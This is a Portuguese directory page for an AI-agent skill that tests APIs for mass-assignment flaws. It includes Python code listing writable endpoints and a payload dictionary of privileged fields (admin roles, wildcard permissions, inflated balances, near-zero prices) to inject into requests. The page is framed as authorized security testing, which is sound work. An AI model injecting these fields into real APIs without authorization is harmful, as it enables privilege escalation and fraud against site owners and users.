testing-api-for-mass-assignment-vulnerability
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta verifica se um site permite que usuários comuns alterem informações que deveriam ser restritas, como o nível de acesso (de usuário para administrador) ou o saldo de uma conta. Ela faz isso tentando inserir dados extras nas requisições enviadas ao site.
Quando usar
- ✓Ao testar a segurança de um site que permite criar ou editar perfis de usuário.
- ✓Quando você suspeita que usuários podem obter privilégios indevidos (como ser administrador).
- ✓Ao verificar se o site impede que dados sensíveis sejam alterados por engano.
Exemplo do que pedir para a IA
“Verifique se o formulário de edição de perfil permite que eu mude meu 'nível de acesso' para 'administrador'.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia requisições para o site com dados adicionais que não deveriam ser permitidos. Ela observa se o site aceita e salva essas alterações, o que indicaria uma falha de segurança.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerabilityOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando API para Vulnerabilidade de Atribuição em Massa
Quando Usar
- Testando endpoints de API que aceitam corpos de requisição JSON/XML para atualizações de perfil de usuário, registro ou criação de objetos
- Avaliando se a API vincula todas as propriedades fornecidas pelo cliente ao modelo de dados sem uma lista de permissões (allowlist)
- Verificando se os usuários podem definir atributos privilegiados (papel, permissões, preços, saldo) através de endpoints de atualização regulares
- Testando APIs construídas com ORMs que vinculam automaticamente parâmetros de requisição a modelos de banco de dados
- Validando se a validação de entrada do lado do servidor restringe propriedades graváveis por papel do usuário
Não use sem autorização por escrito. Testes de atribuição em massa envolvem a modificação de propriedades de objetos de maneiras potencialmente destrutivas.
Pré-requisitos
- Autorização por escrito especificando os endpoints de API alvo e o escopo
- Contas de teste em diferentes níveis de privilégio
- Documentação da API ou especificação OpenAPI para identificar os campos de requisição esperados
- Burp Suite Professional para interceptação de requisições e injeção de parâmetros
- Python 3.10+ com a biblioteca
requests - Conhecimento do framework backend (Rails, Django, Express, Spring) para prever o comportamento de vinculação de parâmetros
Fluxo de Trabalho
Passo 1: Identificar Endpoints Graváveis e Parâmetros Esperados
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
Passo 2: Injetar Campos Privilegiados
# Campos que nunca devem ser graváveis pelo usuário
CAMPOS_PRIVILEGIADOS = {
"elevacao_papel": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"flags_admin": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"substituicao_permissao": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"status_conta": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financeiro": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"propriedade": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"interno": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_atribuicao_em_massa(info_endpoint):
"""Testa um endpoint gravável para vulnerabilidades de atribuição em massa."""
metodo = info_endpoint["method"]
caminho = info_endpoint["path"]
esperado = info_endpoint["expected_fields"]
descobertas = []
# Constrói uma requisição base válida
corpo_base = {}
for campo in esperado:
if campo == "email":
corpo_base[campo] = "test@example.com"
elif campo == "password":
corpo_base[campo] = "SecurePass123!"
elif campo == "name":
corpo_base[campo] = "Test User"
elif campo == "items":
corpo_base[campo] = [{"product_id": 1, "quantity": 1}]
else:
corpo_base[campo] = "test_value"
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, é essencial ter autorização por escrito antes de testar qualquer site. Testar sem permissão pode ser ilegal e causar danos.
O que é 'mass assignment'?
É uma falha de segurança onde um site permite que um usuário modifique dados que não deveria ter acesso, como alterar seu próprio nível de permissão para administrador.
Quais são os pré-requisitos para usar esta ferramenta?
Você precisa de permissão escrita, contas de teste com diferentes níveis de acesso, documentação da API, e ferramentas como Burp Suite e Python.
Detalhes
Descrição original do autor
Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6216
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC